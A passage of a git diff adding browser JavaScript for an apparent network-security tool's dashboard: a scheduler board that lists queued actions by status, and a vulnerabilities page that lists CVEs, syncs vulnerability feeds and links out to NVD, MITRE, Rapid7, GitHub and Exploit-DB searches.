COMPACT); lastFilterKey = ''; tick(); }), + pill('sched-colBtn', 'Collapse', false, toggleCollapse), + pill('sched-supBtn', INCLUDE_SUPERSEDED ? '- superseded' : '+ superseded', false, toggleSuperseded), + el('span', { id: 'sched-stats', class: 'stats' }), + ]), + el('div', { id: 'sched-boardWrap', class: 'boardWrap' }, [ + el('div', { id: 'sched-board', class: 'board' }), + ]), + /* history modal */ + el('div', { + id: 'sched-histModal', class: 'modalOverlay', style: 'display:none', 'aria-hidden': 'true', + onclick: (e) => { if (e.target.id === 'sched-histModal') closeModal(); } + }, [ + el('div', { class: 'modal' }, [ + el('div', { class: 'modalHeader' }, [ + el('div', { class: 'title' }, [t('sched.history')]), + el('div', { id: 'sched-histTitle', class: 'muted' }), + el('div', { class: 'spacer' }), + el('button', { class: 'xBtn', onclick: closeModal }, [t('common.close')]), + ]), + el('div', { id: 'sched-histBody', class: 'modalBody' }), + el('div', { class: 'modalFooter' }, [ + el('small', {}, ['Rows are color-coded by status.']), + ]), + ]), + ]), + ]); +} + +function pill(id, text, active, onclick) { + return el('span', { id, class: `pill ${active ? 'active' : ''}`, onclick }, [text]); +} + +/* ── data fetch ── */ +async function fetchQueue() { + const data = await api.get('/action_queue', { timeout: 8000 }); + const rawRows = Array.isArray(data) ? data : (data?.rows || []); + return rawRows.map(normalizeRow); +} + +function normalizeRow(r) { + const status = (r.status || '').toLowerCase() === 'expired' ? 'failed' : (r.status || '').toLowerCase(); + const scheduled_ms = isoToMs(r.scheduled_for); + const created_ms = isoToMs(r.created_at) || Date.now(); + const started_ms = isoToMs(r.started_at); + const completed_ms = isoToMs(r.completed_at); + + let _computed_status = status; + if (status === 'scheduled') _computed_status = 'upcoming'; + else if (status === 'pending' && scheduled_ms > Date.now()) _computed_status = 'upcoming'; + + const tags = dedupeArr(toArray(r.tags)); + const metadata = typeof r.metadata === 'string' ? parseJSON(r.metadata, {}) : (r.metadata || {}); + + return { + ...r, status, scheduled_ms, created_ms, started_ms, completed_ms, + _computed_status, tags, metadata, + mac: r.mac || r.mac_address || '', + priority_effective: r.priority_effective ?? r.priority ?? 0, + }; +} + +/* ── tick / render ── */ +async function tick() { + try { + const rows = await fetchQueue(); + render(rows); + } catch (e) { + showError('Queue fetch error: ' + e.message); + } +} + +function render(rows) { + const q = ($('#sched-search')?.value || '').toLowerCase(); + + /* filter */ + let filtered = rows; + if (q) { + filtered = filtered.filter(r => { + const bag = `${r.action_name} ${r.mac} ${r.ip} ${r.hostname} ${r.service} ${r.port} ${(r.tags || []).join(' ')}`.toLowerCase(); + return bag.includes(q); + }); + } + if (FOCUS) filtered = filtered.filter(r => ['upcoming', 'pending', 'running'].includes(r._computed_status)); + + /* superseded filter */ + if (!INCLUDE_SUPERSEDED) { + const activeKeys = new Set(); + filtered.forEach(r => { + if (['upcoming', 'pending', 'running'].includes(r._computed_status)) { + activeKeys.add(`${r.action_name}|${r.mac}|${r.port || 0}`); + } + }); + filtered = filtered.filter(r => { + if (r._computed_status !== 'failed') return true; + const key = `${r.action_name}|${r.mac}|${r.port || 0}`; + return !activeKeys.has(key); + }); + } + + /* dedupe failed: keep highest retry per key */ + const failMap = new Map(); + filtered.filter(r => r._computed_status === 'failed').forEach(r => { + const key = `${r.action_name}|${r.mac}|${r.port || 0}`; + const prev = failMap.get(key); + if (!prev || (r.retry_count || 0) > (prev.retry_count || 0) || r.created_ms > prev.created_ms) failMap.set(key, r); + }); + const failIds = new Set(Array.from(failMap.values()).map(r => r.id)); + filtered = filtered.filter(r => r._computed_status !== 'failed' || failIds.has(r.id)); + + /* bucket */ + const buckets = {}; + LANES.forEach(l => buckets[l] = []); + filtered.forEach(r => { + const lane = buckets[r._computed_status]; + if (lane) lane.push(r); + }); + + /* sort per lane */ + const byNewest = (a, b) => Math.max(b.completed_ms, b.started_ms, b.created_ms) - Math.max(a.completed_ms, a.started_ms, a.created_ms); + const byPrio = (a, b) => (b.priority_effective - a.priority_effective) || byNewest(a, b); + buckets.running.sort(byPrio); + buckets.pending.sort((a, b) => byPrio(a, b) || (a.scheduled_ms || a.created_ms) - (b.scheduled_ms || b.created_ms)); + buckets.upcoming.sort((a, b) => (a.scheduled_ms || Infinity) - (b.scheduled_ms || Infinity)); + buckets.success.sort((a, b) => (b.completed_ms || b.started_ms || b.created_ms) - (a.completed_ms || a.started_ms || a.created_ms)); + buckets.failed.sort((a, b) => (b.completed_ms || b.started_ms || b.created_ms) - (a.completed_ms || a.started_ms || a.created_ms)); + buckets.cancelled.sort(byPrio); + + if (COMPACT) { + LANES.forEach(l => { + buckets[l] = keepLatest(buckets[l], r => `${r.action_name}|${r.mac}|${r.port || 0}`, r => Math.max(r.completed_ms, r.started_ms, r.created_ms)); + }); + } + + /* stats */ + const total = filtered.length; + const statsEl = $('#sched-stats'); + if (statsEl) statsEl.textContent = `${total} entries | R:${buckets.running.length} P:${buckets.pending.length} U:${buckets.upcoming.length} S:${buckets.success.length} F:${buckets.failed.length}`; + + /* pagination */ + const fk = filterKey(q); + if (fk !== lastFilterKey) { showCount = {}; LANES.forEach(l => showCount[l] = PAGE_SIZE); lastFilterKey = fk; } + if (!showCount) { showCount = {}; LANES.forEach(l => showCount[l] = PAGE_SIZE); } + lastBuckets = buckets; + + renderBoard(buckets); +} + +function renderBoard(buckets) { + const board = $('#sched-board'); + if (!board) return; + empty(board); + + LANES.forEach(lane => { + const items = buckets[lane] || []; + const visible = items.slice(0, showCount?.[lane] || PAGE_SIZE); + const hasMore = items.length > visible.length; + + const laneEl = el('div', { class: `lane status-${lane}` }, [ + el('div', { class: 'laneHeader' }, [ + el('span', { class: 'dot' }), + el('strong', {}, [LANE_LABELS[lane]]), + el('span', { class: 'count' }, [String(items.length)]), + ]), + el('div', { class: 'laneBody' }, + visible.length === 0 + ? [el('div', { class: 'empty' }, ['No entries'])] + : [ + ...visible.map(r => cardEl(r)), + ...(hasMore ? [el('button', { + class: 'moreBtn', onclick: () => { + showCount[lane] = (showCount[lane] || PAGE_SIZE) + PAGE_SIZE; + if (lastBuckets) renderBoard(lastBuckets); + } + }, ['Display more\u2026'])] : []), + ] + ), + ]); + + board.appendChild(laneEl); + }); + + if (COLLAPSED) $$('.card', board).forEach(c => c.classList.add('collapsed')); + + /* restart countdown clock */ + if (clockTimer) clearInterval(clockTimer); + clockTimer = setInterval(updateCountdowns, 1000); +} + +/* ── card ── */ +function cardEl(r) { + const cs = r._computed_status; + const children = []; + + /* info button */ + children.push(el('button', { + class: 'infoBtn', title: t('sched.history'), + onclick: () => openHistory(r.action_name, r.mac, r.port || 0) + }, ['i'])); + + /* header */ + children.push(el('div', { class: 'cardHeader' }, [ + el('div', { class: 'actionIconWrap' }, [ + el('img', { + class: 'actionIcon', src: resolveIconSync(r.action_name), + width: '80', height: '80', onerror: (e) => { e.target.src = '/actions/actions_icons/default.png'; } + }), + ]), + el('div', { class: 'actionName' }, [ + el('span', { class: 'chip', style: `--h:${hashHue(r.action_name)}` }, [r.action_name]), + ]), + el('span', { class: `badge status-${cs}` }, [cs]), + ])); + + /* chips */ + const chips = []; + if (r.hostname) chips.push(chipEl(r.hostname, 195)); + if (r.ip) chips.push(chipEl(r.ip, 195)); + if (r.port) chips.push(chipEl(`Port ${r.port}`, 210, 'Port')); + if (r.mac) chips.push(chipEl(r.mac, 195)); + if (chips.length) children.push(el('div', { class: 'chips' }, chips)); + + /* service kv */ + if (r.service) children.push(el('div', { class: 'kv' }, [el('span', {}, [`Svc: ${r.service}`])])); + + /* tags */ + if (r.tags?.length) { + children.push(el('div', { class: 'tags' }, + r.tags.map(tag => el('span', { class: 'tag' }, [tag])))); + } + + /* timer */ + if ((cs === 'upcoming' || (cs === 'pending' && r.scheduled_ms > Date.now())) && r.scheduled_ms) { + children.push(el('div', { class: 'timer', 'data-type': 'start', 'data-ts': String(r.scheduled_ms) }, [ + 'Eligible in ', el('span', { class: 'cd' }, ['-']), + ])); + children.push(el('div', { class: 'progress' }, [ + el('div', { class: 'bar', 'data-start': String(r.created_ms), 'data-end': String(r.scheduled_ms), style: 'width:0%' }), + ])); + } else if (cs === 'running' && r.started_ms) { + children.push(el('div', { class: 'timer', 'data-type': 'elapsed', 'data-ts': String(r.started_ms) }, [ + 'Elapsed ', el('span', { class: 'cd' }, ['-']), + ])); + } + + /* meta */ + const meta = [el('span', {}, [`created: ${fmt(r.created_at)}`])]; + if (r.started_at) meta.push(el('span', {}, [`started: ${fmt(r.started_at)}`])); + if (r.completed_at) meta.push(el('span', {}, [`done: ${fmt(r.completed_at)}`])); + if (r.retry_count > 0) meta.push(el('span', { class: 'chip', style: '--h:30' }, [ + `retries ${r.retry_count}${r.max_retries != null ? '/' + r.max_retries : ''}`])); + if (r.priority_effective) meta.push(el('span', {}, [`prio: ${r.priority_effective}`])); + children.push(el('div', { class: 'meta' }, meta)); + + /* buttons */ + const btns = []; + if (['upcoming', 'scheduled', 'pending', 'running'].includes(r.status)) { + btns.push(el('button', { class: 'btn warn', onclick: () => queueCmd(r.id, 'cancel') }, ['Cancel'])); + } + if (!['running', 'pending', 'scheduled'].includes(r.status)) { + btns.push(el('button', { class: 'btn danger', onclick: () => queueCmd(r.id, 'delete') }, ['Delete'])); + } + if (btns.length) children.push(el('div', { class: 'btns' }, btns)); + + /* error / result */ + if (r.error_message) children.push(el('div', { class: 'notice error' }, [r.error_message])); + if (r.result_summary) children.push(el('div', { class: 'notice success' }, [r.result_summary])); + + return el('div', { class: `card status-${cs}` }, children); +} + +function chipEl(text, hue, prefix) { + const parts = []; + if (prefix) parts.push(el('span', { class: 'k' }, [prefix]), '\u00A0'); + parts.push(text); + return el('span', { class: 'chip', style: `--h:${hue}` }, parts); +} + +/* ── countdown / progress ── */ +function updateCountdowns() { + const now = Date.now(); + $$('.timer').forEach(timer => { + const type = timer.dataset.type; + const ts = parseInt(timer.dataset.ts); + const cd = timer.querySelector('.cd'); + if (!cd || !ts) return; + if (type === 'start') { + const diff = ts - now; + cd.textContent = diff <= 0 ? 'due' : ms2str(diff); + } else if (type === 'elapsed') { + cd.textContent = ms2str(now - ts); + } + }); + $$('.progress .bar').forEach(bar => { + const start = parseInt(bar.dataset.start); + const end = parseInt(bar.dataset.end); + if (!start || !end || end <= start) return; + const pct = Math.min(100, Math.max(0, ((now - start) / (end - start)) * 100)); + bar.style.width = pct + '%'; + }); +} + +/* ── queue command ── */ +async function queueCmd(id, cmd) { + try { + await api.post('/queue_cmd', { id, cmd }); + tick(); + } catch (e) { + showError('Command failed: ' + e.message); + } +} + +/* ── history modal ── */ +async function openHistory(action, mac, port) { + const modal = $('#sched-histModal'); + const title = $('#sched-histTitle'); + const body = $('#sched-histBody'); + if (!modal || !body) return; + + if (title) title.textContent = `\u2014 ${action} \u00B7 ${mac}${port && port !== 0 ? ` \u00B7 port ${port}` : ''}`; + empty(body); + body.appendChild(el('div', { class: 'empty' }, ['Loading\u2026'])); + modal.style.display = 'flex'; + modal.setAttribute('aria-hidden', 'false'); + + try { + const url = `/attempt_history?action=${encodeURIComponent(action)}&mac=${encodeURIComponent(mac)}&port=${encodeURIComponent(port)}&limit=100`; + const data = await api.get(url, { timeout: 8000 }); + const rows = Array.isArray(data) ? data : (data?.rows || data || []); + + empty(body); + if (!rows.length) { + body.appendChild(el('div', { class: 'empty' }, ['No history'])); + return; + } + + const norm = rows.map(x => ({ + status: (x.status || '').toLowerCase(), + retry_count: Number(x.retry_count || 0), + max_retries: x.max_retries, + ts: x.ts || x.completed_at || x.started_at || x.scheduled_for || x.created_at || '', + })).sort((a, b) => (b.ts > a.ts ? 1 : -1)); + + norm.forEach(hr => { + const st = hr.status || 'unknown'; + const retry = (hr.retry_count || hr.max_retries != null) + ? el('span', { style: 'color:var(--ink)' }, [`retry ${hr.retry_count}${hr.max_retries != null ? '/' + hr.max_retries : ''}`]) + : null; + + body.appendChild(el('div', { class: `histRow hist-${st}` }, [ + el('span', { class: 'ts' }, [fmt(hr.ts)]), + retry, + el('span', { style: 'margin-left:auto' }), + el('span', { class: 'st' }, [st]), + ].filter(Boolean))); + }); + } catch (e) { + empty(body); + body.appendChild(el('div', { class: 'empty' }, [`Error: ${e.message}`])); + } +} + +function closeModal() { + const modal = $('#sched-histModal'); + if (!modal) return; + modal.style.display = 'none'; + modal.setAttribute('aria-hidden', 'true'); +} + +/* ── controls ── */ +function setLive(on) { + LIVE = on; + const btn = $('#sched-liveBtn'); + if (btn) btn.classList.toggle('active', LIVE); + if (poller) { poller.stop(); poller = null; } + if (LIVE) { + poller = new Poller(tick, 2500, { immediate: false }); + poller.start(); + } +} + +function toggleCollapse() { + COLLAPSED = !COLLAPSED; + const btn = $('#sched-colBtn'); + if (btn) btn.textContent = COLLAPSED ? 'Expand' : 'Collapse'; + $$('#sched-board .card').forEach(c => c.classList.toggle('collapsed', COLLAPSED)); +} + +function toggleSuperseded() { + INCLUDE_SUPERSEDED = !INCLUDE_SUPERSEDED; + const btn = $('#sched-supBtn'); + if (btn) { + btn.classList.toggle('active', INCLUDE_SUPERSEDED); + btn.textContent = INCLUDE_SUPERSEDED ? '- superseded' : '+ superseded'; + } + lastFilterKey = ''; + tick(); +} + +let searchDeb = null; +function onSearch() { + clearTimeout(searchDeb); + searchDeb = setTimeout(() => { lastFilterKey = ''; tick(); }, 180); +} + +function showError(msg) { + const bar = $('#sched-errorBar'); + if (!bar) return; + bar.textContent = msg; + bar.style.display = 'block'; + setTimeout(() => { bar.style.display = 'none'; }, 5000); +} + +/* ── icon resolution ── */ +function resolveIconSync(name) { + if (iconCache.has(name)) return iconCache.get(name); + /* async resolve, return default for now */ + resolveIconAsync(name); + return '/actions/actions_icons/default.png'; +} + +async function resolveIconAsync(name) { + if (iconCache.has(name)) return; + const candidates = [ + `/actions/actions_icons/${name}.png`, + `/resources/images/status/${name}/${name}.bmp`, + ]; + for (const url of candidates) { + try { + const r = await fetch(url, { method: 'HEAD', cache: 'force-cache' }); + if (r.ok) { iconCache.set(name, url); updateIconsInDOM(name, url); return; } + } catch { /* next */ } + } + iconCache.set(name, '/actions/actions_icons/default.png'); +} + +function updateIconsInDOM(name, url) { + $$(`img.actionIcon`).forEach(img => { + if (img.closest('.cardHeader')?.querySelector('.actionName')?.textContent?.trim() === name) { + if (img.src !== url) img.src = url; + } + }); +} + +/* ── helpers ── */ +function isoToMs(ts) { if (!ts) return 0; return new Date(ts + (ts.includes('Z') || ts.includes('+') ? '' : 'Z')).getTime() || 0; } +function fmt(ts) { if (!ts) return '-'; try { return new Date(ts + (ts.includes('Z') || ts.includes('+') ? '' : 'Z')).toLocaleString(); } catch { return ts; } } +function ms2str(ms) { + if (ms < 0) ms = 0; + const s = Math.floor(ms / 1000); + const h = Math.floor(s / 3600); + const m = Math.floor((s % 3600) / 60); + const sec = s % 60; + if (h > 0) return `${h}h ${String(m).padStart(2, '0')}m ${String(sec).padStart(2, '0')}s`; + if (m > 0) return `${m}m ${String(sec).padStart(2, '0')}s`; + return `${sec}s`; +} +function toArray(v) { + if (!v) return []; + if (Array.isArray(v)) return v.map(String).filter(Boolean); + try { const p = JSON.parse(v); if (Array.isArray(p)) return p.map(String).filter(Boolean); } catch { /* noop */ } + return String(v).split(',').map(s => s.trim()).filter(Boolean); +} +function dedupeArr(a) { return [...new Set(a)]; } +function parseJSON(s, fb) { try { return JSON.parse(s); } catch { return fb; } } +function hashHue(str) { let h = 0; for (let i = 0; i < str.length; i++) h = ((h << 5) - h + str.charCodeAt(i)) | 0; return ((h % 360) + 360) % 360; } +function filterKey(q) { return `${q}|${FOCUS}|${COMPACT}|${INCLUDE_SUPERSEDED}`; } +function keepLatest(rows, keyFn, dateFn) { + const map = new Map(); + rows.forEach(r => { + const k = keyFn(r); + const prev = map.get(k); + if (!prev || dateFn(r) > dateFn(prev)) map.set(k, r); + }); + return Array.from(map.values()); +} diff --git a/web/js/pages/vulnerabilities.js b/web/js/pages/vulnerabilities.js new file mode 100644 index 0000000..85cbea7 --- /dev/null +++ b/web/js/pages/vulnerabilities.js @@ -0,0 +1,917 @@ +/** + * Vulnerabilities page module — Bjorn Project + * + * Changes vs previous version: + * - Card click → opens detail modal directly (no manual expand needed) + * - Direct chips on every card: 🐱 GitHub PoC · 🛡 Rapid7 · NVD ↗ · MITRE ↗ + * - Global "💣 Search All Exploits" button: batch enrichment, stored in DB + * - Exploit chips rendered from DB data, updated after enrichment + * - Progress indicator during global exploit search + * - Poller suspended while modal is open + */ +import { ResourceTracker } from '../core/resource-tracker.js'; +import { api, Poller } from '../core/api.js'; +import { el, $, empty } from '../core/dom.js'; +import { t } from '../core/i18n.js'; +import { initSharedSidebarLayout } from '../core/sidebar-layout.js'; + +const PAGE = 'vulnerabilities'; +const ITEMS_PER_PAGE = 20; +const SEVERITY_ORDER = { critical: 4, high: 3, medium: 2, low: 1 }; + +/* ── state ── */ +let tracker = null; +let poller = null; +let disposeSidebarLayout = null; +let vulnerabilities = []; +let filteredVulns = []; +let currentView = 'cve'; +let showActiveOnly = false; +let severityFilters = new Set(); +let searchTerm = ''; +let currentPage = 1; +let totalPages = 1; +let expandedHosts = new Set(); +let historyMode = false; +let sortField = 'cvss_score'; +let sortDir = 'desc'; +let dateFrom = ''; +let dateTo = ''; +let lastFetchTime = null; +let modalInFlight = null; +let searchDebounce = null; +let historyPage = 1; +let historySearch = ''; +let allHistory = []; +let exploitSearchRunning = false; + +/* ── prefs ── */ +const getPref = (k, d) => { try { return localStorage.getItem(k) ?? d; } catch { return d; } }; + +/* ════════════════════════════════════════ + LIFECYCLE +═══════════════════════════════════════ */ +export async function mount(container) { + tracker = new ResourceTracker(PAGE); + const shell = buildShell(); + container.appendChild(shell); + disposeSidebarLayout = initSharedSidebarLayout(shell, { + sidebarSelector: '.vuln-sidebar', + mainSelector: '.vuln-main', + storageKey: 'sidebar:vulnerabilities', + toggleLabel: t('common.menu'), + }); + await fetchVulnerabilities(); + loadFeedStatus(); + const interval = parseInt(getPref('vuln:refresh', '30000'), 10) || 30000; + if (interval > 0) { + poller = new Poller(fetchVulnerabilities, interval); + poller.start(); + } +} + +export function unmount() { + clearTimeout(searchDebounce); + searchDebounce = null; + if (poller) { poller.stop(); poller = null; } + if (disposeSidebarLayout) { try { disposeSidebarLayout(); } catch {} disposeSidebarLayout = null; } + if (tracker) { tracker.cleanupAll(); tracker = null; } + vulnerabilities = []; filteredVulns = []; + currentView = 'cve'; showActiveOnly = false; + severityFilters.clear(); searchTerm = ''; + currentPage = 1; expandedHosts.clear(); + historyMode = false; modalInFlight = null; allHistory = []; +} + +/* ════════════════════════════════════════ + SHELL +═══════════════════════════════════════ */ +function buildShell() { + const sidebar = el('aside', { class: 'vuln-sidebar page-sidebar panel' }, [ + el('div', { class: 'sidehead' }, [ + el('div', { class: 'sidetitle' }, [t('nav.vulnerabilities')]), + el('div', { class: 'spacer' }), + el('button', { class: 'btn', id: 'hideSidebar', 'data-hide-sidebar': '1', type: 'button' }, [t('common.hide')]), + ]), + el('div', { class: 'sidecontent' }, [ + /* stats */ + el('div', { class: 'stats-header' }, [ + statItem('\u{1F6E1}', 'total-cves', 'Total CVEs'), + statItem('\u{1F534}', 'active-vulns', 'Active'), + statItem('\u2705', 'remediated-vulns', 'Remediated'), + statItem('\u{1F525}', 'critical-count', 'Critical'), + statItem('\u{1F5A5}', 'affected-hosts', 'Hosts'), + statItem('\u{1F4A3}', 'exploit-count', 'w/ Exploit'), + statItem('\u26A0', 'kev-count', 'KEV'), + ]), + /* freshness */ + el('div', { id: 'vuln-freshness', style: 'font-size:.75rem;opacity:.5;padding:8px 0 0 4px' }), + /* ── feed sync ── */ + el('div', { style: 'margin-top:14px;padding:0 4px' }, [ + el('button', { + id: 'btn-feed-sync', + class: 'vuln-btn exploit-btn', + style: 'width:100%;font-weight:600', + onclick: runFeedSync, + }, ['\u{1F504} Update Exploit Feeds']), + el('div', { id: 'feed-sync-status', style: 'font-size:.72rem;opacity:.55;margin-top:4px;min-height:16px' }), + ]), + /* sort */ + el('div', { style: 'margin-top:14px;padding:0 4px' }, [ + el('div', { style: 'font-size:.75rem;opacity:.55;margin-bottom:4px' }, ['Sort by']), + el('select', { id: 'vuln-sort-field', class: 'vuln-select', onchange: onSortChange }, [ + el('option', { value: 'cvss_score' }, ['CVSS Score']), + el('option', { value: 'severity' }, ['Severity']), + el('option', { value: 'last_seen' }, ['Last Seen']), + el('option', { value: 'first_seen' }, ['First Seen']), + ]), + el('select', { id: 'vuln-sort-dir', class: 'vuln-select', onchange: onSortChange, style: 'margin-top:4px' }, [ + el('option', { value: 'desc' }, ['Descending']), + el('option', { value: 'asc' }, ['Ascending']), + ]), + ]), + /* date filter */ + el('div', { style: 'margin-top:14px;padding:0 4px' }, [ + el('div', { style: 'font-size:.75rem;opacity:.55;margin-bottom:4px' }, ['Date filter (last seen)']), + el('input', { type: 'date', id: 'vuln-date-from', class: 'vuln-date-input', onchange: onDateChange }), + el('input', { type: 'date', id: 'vuln-date-to', class: 'vuln-date-input', onchange: onDateChange, style: 'margin-top:4px' }), + el('button', { class: 'vuln-btn', style: 'margin-top:6px;width:100%', onclick: clearDateFilter }, ['Clear dates']), + ]), + ]), + ]); + + const main = el('div', { class: 'vuln-main page-main' }, [ + el('div', { class: 'vuln-controls' }, [ + el('div', { class: 'global-search-container' }, [ + el('input', { type: 'text', class: 'global-search-input', id: 'vuln-search', placeholder: t('common.search'), oninput: onSearch }), + el('button', { class: 'clear-global-button', onclick: clearSearch }, ['\u2716']), + ]), + el('div', { class: 'vuln-buttons' }, [ + el('button', { class: 'vuln-btn active', id: 'vuln-view-cve', onclick: () => switchView('cve') }, ['CVE View']), + el('button', { class: 'vuln-btn', id: 'vuln-view-host', onclick: () => switchView('host') }, ['Host View']), + el('button', { class: 'vuln-btn', id: 'vuln-view-exploits', onclick: () => switchView('exploits') }, ['\u{1F4A3} Exploits']), + el('button', { class: 'vuln-btn', id: 'vuln-active-toggle', onclick: toggleActiveFilter }, [t('status.online')]), + el('button', { class: 'vuln-btn', id: 'vuln-history-btn', onclick: toggleHistory }, [t('sched.history')]), + el('button', { class: 'vuln-btn', onclick: exportCSV }, [t('common.export') + ' CSV']), + el('button', { class: 'vuln-btn', onclick: exportJSON }, [t('common.export') + ' JSON']), + ]), + ]), + el('div', { class: 'vuln-severity-bar' }, [ + severityBtn('critical'), severityBtn('high'), severityBtn('medium'), severityBtn('low'), + ]), + el('div', { class: 'services-grid', id: 'vuln-grid' }), + el('div', { class: 'vuln-pagination', id: 'vuln-pagination' }), + /* ── MODAL ── */ + el('div', { class: 'vuln-modal', id: 'vuln-modal', onclick: onModalBackdrop }, [ + el('div', { class: 'vuln-modal-content' }, [ + el('div', { class: 'vuln-modal-header' }, [ + el('span', { class: 'vuln-modal-title', id: 'vuln-modal-title' }), + /* ref chips in modal header */ + el('div', { class: 'vuln-modal-header-chips', id: 'vuln-modal-header-chips' }), + el('button', { class: 'vuln-modal-close', onclick: closeModal }, ['\u2716']), + ]), + el('div', { class: 'vuln-modal-body', id: 'vuln-modal-body' }), + ]), + ]), + ]); + + return el('div', { class: 'vuln-container page-with-sidebar' }, [sidebar, main]); +} + +function statItem(icon, id, label) { + return el('div', { class: 'stat-card stat-item' }, [ + el('span', { class: 'stat-icon' }, [icon]), + el('span', { class: 'stat-number stat-value', id }, ['0']), + el('span', { class: 'stat-label' }, [label]), + ]); +} +function severityBtn(sev) { + return el('button', { + class: `vuln-severity-btn severity-${sev}`, + 'data-severity': sev, + onclick: (e) => toggleSeverity(sev, e.currentTarget), + }, [sev.charAt(0).toUpperCase() + sev.slice(1)]); +} + +/* ════════════════════════════════════════ + DATA FETCH +═══════════════════════════════════════ */ +async function fetchVulnerabilities() { + if (historyMode) return; + try { + const data = await api.get('/list_vulnerabilities', { timeout: 10000 }); + vulnerabilities = Array.isArray(data) ? data : (data?.vulnerabilities || []); + lastFetchTime = new Date(); + const f = $('#vuln-freshness'); + if (f) f.textContent = `Last refresh: ${lastFetchTime.toLocaleTimeString()}`; + updateStats(); + filterAndRender(); + } catch (err) { + console.warn(`[${PAGE}]`, err.message); + } +} + +/* ════════════════════════════════════════ + FEED SYNC + POST /api/feeds/sync — downloads CISA KEV + Exploit-DB + EPSS into local DB + GET /api/feeds/status — last sync timestamps +═══════════════════════════════════════ */ +async function runFeedSync() { + const btn = $('#btn-feed-sync'); + const status = $('#feed-sync-status'); + if (btn && btn.disabled) return; + if (btn) { btn.disabled = true; btn.textContent = '\u23F3 Downloading\u2026'; } + if (status) status.textContent = 'Syncing CISA KEV, Exploit-DB, EPSS\u2026'; + + try { + const res = await api.post('/api/feeds/sync', {}, { timeout: 120000 }); + const feeds = res?.feeds || {}; + const parts = []; + for (const [name, info] of Object.entries(feeds)) { + if (info.status === 'ok') parts.push(`${name}: ${info.count} records`); + else parts.push(`${name}: \u274C ${info.message || 'error'}`); + } + if (status) status.textContent = '\u2705 ' + (parts.join(' \u00B7 ') || 'Done'); + await fetchVulnerabilities(); + } catch (err) { + if (status) status.textContent = `\u274C ${err.message}`; + } finally { + if (btn) { btn.disabled = false; btn.textContent = '\u{1F504} Update Exploit Feeds'; } + } +} + +async function loadFeedStatus() { + try { + const res = await api.get('/api/feeds/status'); + const status = $('#feed-sync-status'); + if (!status || !res?.feeds) return; + const entries = Object.entries(res.feeds); + if (!entries.length) { status.textContent = 'No sync yet — click to update.'; return; } + // show the most recent sync time + const latest = entries.reduce((a, [, v]) => Math.max(a, v.last_synced || 0), 0); + if (latest) { + const d = new Date(latest * 1000); + status.textContent = `Last sync: ${d.toLocaleDateString()} ${d.toLocaleTimeString()} \u00B7 ${res.total_exploits || 0} exploits`; + } + } catch { /* ignore */ } +} + + +/* ════════════════════════════════════════ + STATS +═══════════════════════════════════════ */ +function updateStats() { + const sv = (id, v) => { const e = $(`#${id}`); if (e) e.textContent = v; }; + sv('total-cves', vulnerabilities.length); + sv('active-vulns', vulnerabilities.filter(v => v.is_active === 1).length); + sv('remediated-vulns', vulnerabilities.filter(v => v.is_active === 0).length); + sv('critical-count', vulnerabilities.filter(v => v.is_active === 1 && v.severity === 'critical').length); + sv('exploit-count', vulnerabilities.filter(v => v.has_exploit).length); + sv('kev-count', vulnerabilities.filter(v => v.is_kev).length); + const macs = new Set(vulnerabilities.map(v => v.mac_address).filter(Boolean)); + sv('affected-hosts', macs.size); +} + +/* ════════════════════════════════════════ + FILTER + SORT +═══════════════════════════════════════ */ +function filterAndRender() { + const needle = searchTerm.toLowerCase(); + const from = dateFrom ? new Date(dateFrom).getTime() : null; + const to = dateTo ? new Date(dateTo + 'T23:59:59').getTime() : null; + + filteredVulns = vulnerabilities.filter(v => { + if (showActiveOnly && v.is_active === 0) return false; + if (severityFilters.size > 0 && !severityFilters.has(v.severity)) return false; + if (needle) { + if (!`${v.vuln_id} ${v.ip} ${v.hostname} ${v.port} ${v.description}`.toLowerCase().includes(needle)) return false; + } + if (from || to) { + const ls = v.last_seen ? new Date(v.last_seen).getTime() : null; + if (from && (!ls || ls < from)) return false; + if (to && (!ls || ls > to)) return false; + } + return true; + }); + + filteredVulns.sort((a, b) => { + let va, vb; + switch (sortField) { + case 'severity': va = SEVERITY_ORDER[a.severity] || 0; vb = SEVERITY_ORDER[b.severity] || 0; break; + case 'last_seen': va = a.last_seen ? new Date(a.last_seen).getTime() : 0; vb = b.last_seen ? new Date(b.last_seen).getTime() : 0; break; + case 'first_seen': va = a.first_seen ? new Date(a.first_seen).getTime() : 0; vb = b.first_seen ? new Date(b.first_seen).getTime() : 0; break; + default: va = parseFloat(a.cvss_score) || 0; vb = parseFloat(b.cvss_score) || 0; + } + return sortDir === 'asc' ? va - vb : vb - va; + }); + + totalPages = Math.max(1, Math.ceil(filteredVulns.length / ITEMS_PER_PAGE)); + if (currentPage > totalPages) currentPage = 1; + + if (currentView === 'host') renderHostView(); + else if (currentView === 'exploits') renderExploitsView(); + else renderCVEView(); + renderPagination(); +} + +/* ════════════════════════════════════════ + CHIP BUILDERS (shared across all views) +═══════════════════════════════════════ */ + +/** Four external reference chips — always visible on every card & in modal */ +function buildRefChips(cveId) { + const enc = encodeURIComponent(cveId); + return el('div', { class: 'vuln-ref-chips', onclick: e => e.stopPropagation() }, [ + refChip('\u{1F431} GitHub', `https://github.com/search?q=${enc}&type=repositories`, 'chip-github'), + refChip('\u{1F6E1} Rapid7', `https://www.rapid7.com/db/?q=${enc}`, 'chip-rapid7'), + refChip('NVD \u2197', `https://nvd.nist.gov/vuln/detail/${enc}`, 'chip-nvd'), + refChip('MITRE \u2197', `https://cve.mitre.org/cgi-bin/cvename.cgi?name=${enc}`, 'chip-mitre'), + ]); +} + +/** Exploit chips built from DB data — shown only when exploit data exists */ +function buildExploitChips(v) { + const exploits = Array.isArray(v.exploits) ? v.exploits : []; + if (!v.has_exploit && exploits.length === 0) return null; + + const chips = exploits.slice(0, 5).map(entry => { + const isStr = typeof entry === 'string'; + const label = isStr + ? (entry.startsWith('http') ? 'ExploitDB' : entry.substring(0, 28)) + : (entry.title || 'Exploit').substring(0, 28); + const href = isStr + ? (entry.startsWith('http') ? entry : `https://www.exploit-db.com/exploits/${entry}`) + : (entry.url || `https://www.exploit-db.com/search?cve=${encodeURIComponent(v.vuln_id)}`); + return refChip('\u26A1 ' + label, href, 'chip-exploit'); + }); + + /* fallback generic chip if flag set but no detail yet */ + if (chips.length === 0) + chips.push(refChip('\u{1F4A3} ExploitDB', `https://www.exploit-db.com/search?cve=${encodeURIComponent(v.vuln_id)}`, 'chip-exploit')); + + return el('div', { class: 'vuln-exploit-chips', onclick: e => e.stopPropagation() }, chips); +} + +function refChip(label, href, cls) { + return el('a', { href, target: '_blank', rel: 'noopener noreferrer', class: `vuln-chip ${cls}` }, [label]); +} + +/* 